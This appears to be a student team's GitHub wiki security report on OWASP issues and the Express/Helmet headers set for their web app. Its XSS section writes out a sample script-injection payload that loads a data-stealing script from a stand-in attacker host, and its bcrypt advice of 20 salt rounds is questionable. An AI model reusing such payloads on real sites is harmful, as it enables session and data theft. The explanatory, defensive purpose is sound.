-
Notifications
You must be signed in to change notification settings - Fork 0
Security (R14)
- Broken Access Control
- Sensitive Data Exposure
- DNS Prefetch Control
- Content Security Policy
- Referrer Policy
- Hide Powered By
- Cross Site Scripting
- Strict Transport Security
- X Frame Options
- Insufficient Logging And Monitoring
Security Report Summary by securityheaders.com
Broken Access Control ranks 5th in the 2017 OWASP Top 10 web application vulnerabilities. But what is Broken Access Control?
Let’s first understand the difference between Broken Authentication and Broken Access Control. There is a key difference to properly distinguish between them. The best way to explain that would be a simple example.
Suppose you visit our website. Quickly, you find an exposed administration dashboard page without authentication. In this case, it is clearly an authentication issue. But then you proceed with authentication and you log in as a normal user and find that you still have access to the dashboard page. In this case, we forgot to validate if the user is authorized to access the admin dashboard.
Therefore, this vulnerability happens when the application fails to properly validate authorization after the user has been authenticated.
There are many vulnerabilities under the Access Control category. This section covers some of them.
- IDOR: Insecure Direct Object Reference
This vulnerability happens when the application doesn’t properly validate access to resources through IDs. There can be many variables in the application such as “id”, “pid”, “uid”. Although these values are often seen as HTTP parameters, they can be found in headers and cookies/tokens. The attacker can access, edit or delete any of other users’ objects by changing the values. This vulnerability is called IDOR.
- IDOR vulnerability with direct reference to database objects attack scenarios
Scenario #1: For example, a user on our website wants to updating their account info using the /users/123 endpoint. However, the user whose id is 123 can also access other users profiles by simply changing the id. This is the simplest scenario, but there are many other techniques to exploit an IDOR vulnerability.
Scenario #2: Imagine an our application exposing a service accepting users's ID in order to return the user information and for which the format/pattern of the user ID is the following:
user-000, user-001, user-002
Based on this, an attacker can build a collection of valid ID and write a script to get users from user-000
to user-099
.
- IDOR vulnerability with direct reference to static files attack scenario
DOR vulnerabilities often arise when sensitive resources are located in static files on the server-side filesystem.
Scenario #1: For example, a website might save chat message transcripts to disk using an incrementing filename, and allow users to retrieve these by visiting a URL like the following:
https://devwebapp.herokuapp.com/static/123.txt
In this situation, an attacker can simply modify the filename to retrieve a transcript created by another user and potentially obtain user credentials and other sensitive data.
There are several access control models, such as :
- Role based Access Control (RBAC)
- Mandatory Access Control
- Permission Based Access Control
- Discretionary Access Control
When developing the application, we chose to work the Role based Access Control based on our application's requirements.
Remediating of access control vulnerabilities involved changes to the functionality of application code. These changes were about implementing server-side checks to ensure that the users attempting to access or modify data have rights to access or modify the data, and changing default behavior to deny access/modification unless access is explicitly granted.
To implement role-based access control in our application, we needed to have users whom are granted access to certain resources based on their roles. To tackle the implementation of a RBAC we used a package from npm called accesscontrol
Each user have a specific role and that’s very important to meet the application's requirements, we have just three roles as specified in the enum property, permissions for each role. Mongoose provides a handy default property that enables us specify what the default value for a field should be if one isn’t specified when a user is created.
Users's roles are defined in this file here. We defined what fields should be allowed to get stored in the database for each user and also what type of value each field should have.
- Creating roles with AccessControl
In this file, we created specific roles and define permissions on each role for accessing resources. All roles and permissions were created using the Accesscontrol package, it provides some handy methods for creating roles and defining what actions can be performed by each role, the grant method is used to create a role while methods such as readAny, updateAny, deleteAny, etc… are called action attributes because they define what actions each role can perform on a resource.
- Testing the RBAC implementation
We used Postman to test our application, it provides handy tools that we can use to send requests to an API. First of all, let’s authenticate a user with a student role:
In the image above, we use Postman to send a request to our Node API to authenticate user with a student role, the response contains the user details along with a token, which will be sent along in the header when making a request to any secure route.
Let’s try and access one of the secure routes, specifically the route that allows a user to retrieve all existing users. It is expected that the user wouldn’t be granted access to that route because they have a role with insufficient permissions. Once again we used Postman to test this:
As you can see above, a message and a 403 HTTP status is sent when the user tries to access that route because they don’t have enough permission attributed to their role to perform the required action there. Lastly, we authenticated user with an admin role and then try accessing any of the restricted routes.
And then let’s try accessing the route to get the information of all users that have signed up:
As we can see, the user will a role of an admin was allowed to access the route and was able to get the details of all existing users. These kind of restrictions are used on front end side of the application to limit a user from accessing a page which contents are beyond their permissions.
As the name suggests, this security threat occurs when the web application doesn’t adequately protect sensitive information like session tokens, passwords, banking information, location, health data, or any other similar crucial data whose leak can be critical for the user.
-
Hardcoding data like tokens, secret keys, passwords and database's credentials in the source code.
-
Logging sensitive data in server logs.
-
Data stored in plain text, such as passwords or credit card data
-
Lack of HTTPS on authenticated pages
-
Using old or weak cryptographic algorithms.
-
Hashed passwords with lack of salt, making the password easily cracked
- Use of HTTP instead of HTTPS
Scenario #1: A site doesn’t use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user’s session cookie. The attacker then replays this cookie and hijacks the user’s (authenticated) session, accessing or modifying the user’s private data.
- Use of unsalted or simple hashes to store sensitive data
Scenario #1: Passwords can be exposed when hashed passwords are stored without salt, meaning it was not fully protected via cryptography, making the password easily unencrypted. Hashed and salted passwords refer to the storage of the password on the server, in which the password (salted or not) is converted into a type of word puzzle that the server knows how to read. If a website’s hashing isn’t strong, then passwords can easily be read during a data exposure.
First, we needed to determine what data our site collects that could be considered sensitive. After a thorough study on that matter we decided information like email addresses, users's id, tokens, passwords, users's English level and finally phone numbers (if provided by the user) should all be considered sensitive information.
One way to defend against attackers gaining access to sensitive data is through thorough review of the application code and environment. When we reviewed the application, we focused particularly on the proper usage of secure cryptographic algorithms, safe storage of secret keys, transport security and identify any occurrences of missing cryptographic protection.
Here is some of the precautions we took :
- We store passwords using strong adaptive and salted hashing functions.
To achieve that we used a npm library Bcrypt
. Bcrypt allows us to choose the value of saltRounds, which gives us control over the cost of processing the data. The higher this number is, the longer it takes for the machine to calculate the hash associated with the password. It is important when choosing this value, to select a number high enough that someone who tries to find the password for a user by brute force, requires so much time to generate all the possible hash of passwords that does not compensate him. And on the other hand, it needed be small enough so as not to end the user’s patience when registering and logging in (this patience is not usually very high). By default, the saltRounds value is 10 but we went with 20.
- Website only available via HTTPS
If a website accepts a connection through HTTP and redirects to HTTPS, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://devwebapp.herokuapp.com
or even just devwebapp.herokuapp.com
. This creates an opportunity for a man-in-the-middle attack. The redirect could be exploited to direct visitors to a malicious site instead of the secure version of the site.
We added the HTTP Strict-Transport-Security
header that informs the browser that it should never load a site using HTTP and should automatically convert all attempts to access the site using HTTP to HTTPS requests instead. Once a browser sees this header, it will only visit the site over HTTPS for the next 60 days:
// Sets "Strict-Transport-Security: max-age=5184000".
app.use(helmet.hsts({
maxAge: sixtyDaysInSeconds,
includeSubDomains: true
}))
For the moment the site is deployed on Heroku so out of the box the site is already in HTTPS but we added this header in case developers want a deploying option other than Heroku.
- The attack
When you visit a URL, your browser has to look up the domain’s IP address. For example, it has to resolve devwebapp.herokuapp.com to 93.184.216.34. This process is called DNS.
Browsers can start these DNS requests before the user even clicks a link or loads a resource from somewhere. This improves performance when the user clicks the link, but has privacy implications for users. It can appear as if a user is visiting things they aren’t visiting.
- The header
The X-DNS-Prefetch-Control
header tells browsers whether they should do DNS prefetching. To disable DNS prefetching, we set the X-DNS-Prefetch-Control
header to off.
// Sets "X-DNS-Prefetch-Control: off".
app.use(helmet.dnsPrefetchControl());
Content Security Policy (CSP) is one of the main web-based security mechanisms which helps server administrators to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. A CSP compatible browser will then only execute scripts loaded in source files received from those allowlisted
domains, ignoring all other script.
The nastiest attack is probably cross-site scripting (XSS), which is when a hacker puts malicious JavaScript onto your page. If I can run JavaScript on your page, I can do a lot of bad things, from stealing authentication cookies to logging every user action.
There are other things attackers can do, even if they can’t execute JavaScript. For example, if he could put a tiny, transparent 1x1 image on your site, He could get a pretty good idea of how much traffic your site gets. If he could get a vulnerable browser plugin like Flash to run, He could exploit its flaws and do things you don’t want!
One of the tricky things about these injection attacks is that the browser doesn’t know what’s good and what’s bad. How can it tell the difference between a legitimate JavaScript file and a malicious one? In many cases, it can’t… unless you’ve defined a Content Security Policy.
Configuring Content-Security-Policy
involves adding the Content-Security-Policy
HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page. For example, a page that uploads and displays images could allow images from anywhere, but restrict a form action to a specific endpoint. A properly designed Content Security Policy helps protect a page against a cross site scripting attack.
Our policy was to allow only resources needed by our application such as styles from https://fonts.googleapis.com
. We set a header that looks like this:
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'", 'https://fonts.googleapis.com']
}
}));
This effectively tells the browser “only load things that are from my own domain”. If you’re running https://devwebapp.herokuapp.com
and a user tries to load https://devwebapp.herokuapp.com/static/index.js
, it’ll work just fine. But if a user tries to load http://evil.com/evil.js
, it won’t load at all!
The defaultSrc
policy directive is a fallback for other resource types when they don't have policies of their own such as scriptSrc
& imgSrc
. The defaultSrc
directive will prevent inline scripts from running, as well as block the use of eval()
. Now we’ve whitelisted self
and https://fonts.googleapis.com
. Our app will be able to load CSS from there, but nothing else. The app won’t even be able to load JavaScript or images from that URL, only stylesheets.
The Referrer-Policy HTTP header controls how much referrer information (sent via the Referer header) should be included with requests.
When a user clicks a link on one site, the origin, that takes them to another site, the destination site receives information about the origin the user came from. This is how people get metrics like those provided by Google Analytics on where their traffic came from. For example, if you click a link on https://devwebapp.herokuapp.com/index.html
that takes you to https://www.ephec.be
, Ephec’s servers will see Referer: https://devwebapp.herokuapp.com
. This can have privacy implications.
Scenario #1: If you are visiting a site that knows your identity (i.e. any site you're logged into), then this site may receive referrer URLs of other pages on the web that you have visited. For example, you may visit a web page about a particular medical condition, click a link on that page to a site that knows your identity, and now that site can associate your identity with having visited that particular medical webpage.
We added the Referrer-Policy header on our server to control what information is sent through the Referer header. This referer header lets us know where the inbound visitor came from, and is really handy, but there are cases where we may want to control or restrict the amount of information present in this header like the path or even whether the header is sent at all.
The Referrer Policy is issued via a HTTP response header with the same name, Referrer-Policy, and can contain many directives such as same-origin
, no-referrer-when-downgrade
, strict-origin-when-cross-origin
,strict-origin
.
We went with the strict-origin-when-cross-origin. It will not allow any information to be sent when a scheme downgrade happens (the user is navigating from HTTPS to HTTP).
// Sets "Referrer-Policy: strict-origin-when-cross-origin".
app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin'}))
Here is an example :
Source | Destination | Referrer |
---|---|---|
https://devwebapp.herokuapp.com/blog1 | https://devwebapp.herokuapp.com/blog2 | https://devwebapp.herokuapp.com/blog1 |
https://devwebapp.herokuapp.com/blog1 | https://facebook.com | https://devwebapp.herokuapp.com |
https://devwebapp.herokuapp.com/blog1 | http://devwebapp.herokuapp.com/blog2 | NULL |
https://devwebapp.herokuapp.com/blog1 | http://facebook.com | NULL |
The X-Powered-By header gives information on the technology that's supporting the Web Server. With typical values like ASP.NET or PHP/5.4.0, this is another piece of information that we can remove from public display.
Hackers can exploit known vulnerabilities in Express and Node if they know you’re using it. Express (and other web technologies like PHP) set an X-Powered-By header with every request, indicating what technology powers the server. Express, for example, sets this, which is a dead giveaway that your server is powered by Express.
A hacker can use this information to their advantage. If they know of a vulnerability in Express or Node and they see your site is Express-powered, they can be more targeted.
The fix is to simply remove the header.
To be fair, if a determined hacker doesn’t see this header, they won’t suddenly give up. They could look for other clues to find out that you’re using Node, or they could simply try a bunch of attacks and see if any of them work. It's important to note omitting this header doesn’t mean that nobody can exploit vulnerabilities; it may slow him down slightly or discourage a lazy hacker.
There is also a slight performance benefit when removing this header because fewer bytes need to be sent.
app.disable('x-powered-by')
Cross-site Scripting (XSS) is a client-side code injection attack. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or web application.
An XSS vulnerability arises when web applications take data from users and dynamically include it in web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands and display arbitrary content in a victim user's browser. A successful XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable web application.
Scenario #1: For example, let’s say you run a search engine called Goober. Every time you do a search, it displays your search terms right above your results. For example, let’s say we’ve searched for “javascript jokes”. When you do a search, your search terms also appear in your query string. The full URL might look something like this:
https://goober.example.com/search?query=javascript+jokes
The search results might look like the screenshot below. Notice how the text appears right on the page:
What if we could search for something like <script src="http://evil.example.com/steal-data.js"></script>
? That URL would look like this:
https://goober.example.com/search?query=<script%20src="http://evil.example.com/steal-data.js"></script>
And here’s how it would appear on your page:
Suddenly, a malicious JavaScript file was executed just because you visited a URL! That’s not good.
It’s relatively easy for browsers to detect simple XSS. In the example above, browsers could choose not to execute the JavaScript inside a <script>
tag if it matches what’s in the query string. Some browsers do this detection by default, but some don’t. So we added the HTTP X-XSS-Protection response header which is a feature of Internet Explorer, Chrome and Safari that stops pages from loading when they detect reflected cross-site scripting (XSS) attacks.
// Sets "X-XSS-Protection: 1; mode=block".
app.use(helmet.xssFilter())
Although these protections are largely unnecessary in modern browsers (like those mentioned above) when sites implement a strong Content-Security-Policy that disables the use of inline JavaScript ('unsafe-inline') that we already covered in this security report. But we added this header to provide protections for users of older web browsers that don't yet support CSP.
mode=block
means the browser will prevent rendering of the page if an attack is detected.
- The attack
HTTPS is a secure protocol. HTTP, by contrast, is not. HTTP users are vulnerable to person-in-the-middle attacks and nothing sent is encrypted. I like to think of insecure HTTP as “anything goes”.
- The header
The Strict-Transport-Security HTTP header tells browsers to stick with HTTPS and never visit the insecure HTTP version. Once a browser sees this header, it will only visit the site over HTTPS for the next 60 days:
const sixtyDaysInSeconds = 5184000
app.use(helmet.hsts({
maxAge: sixtyDaysInSeconds,
includeSubDomains: true
}))
- The attack
The attacker wants you to click something that you don’t actually want to click, and they do it by hiding the link/button behind something else that they can trick you into clicking on. Clickjacking can be used to get you to click anything you don’t want to. These things include unintentional endorsements on social networks, clicking advertisements etc...
- The header
The X-Frame-Options
header tells browsers to prevent a webpage from being put in an iframe. When browsers load iframes, they’ll check the value of the X-Frame-Options header and abort loading if it’s not allowed.
The header has three options but the one we chose is X-Frame-Options: SAMEORIGIN
app.use(helmet.frameguard({ action: 'sameorigin' }))
This will prevent anyone from putting the page in an iframe unless it’s on the same origin. That generally means that we can put our own pages in iframes, but nobody else can.
We all know how important it is to have some logging in your application so what we did is save all our logs into our database. The reason behind was that we wanted the admin to have an UI for logs instead of looking directly to the database trying to find one single log, so we made a page that is not available with the admin account.
That page looks like this :
This helps the admin detect easily where and when something went wrong which saves a lot time. We set up as well an uptimerobot to monitor our website and send us a message just in case the website went down.
Autome Edwin | Daniel Olivier | Morgan Valentin